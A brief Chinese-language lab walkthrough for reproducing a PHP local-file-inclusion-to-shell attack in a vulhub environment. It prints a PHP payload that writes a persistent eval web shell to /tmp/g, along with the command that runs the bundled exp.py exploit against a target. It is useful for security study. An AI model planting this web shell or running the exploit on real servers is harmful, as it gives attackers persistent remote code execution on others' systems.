漏洞详细
该漏洞与PHP版本无关,详细请看:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md
漏洞复现
我使用的是vulhub的环境,环境目录内自带脚本exp.py,利用成功包含临时文件后,会执行<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>
,写入一个新的文件/tmp/g
,这个文件就会永久留在目标机器上。
使用命令:
python2 exp.py your-ip 8080 100
lfi.php
是提前准备好的文件包含漏洞页面,我们利用它来getshell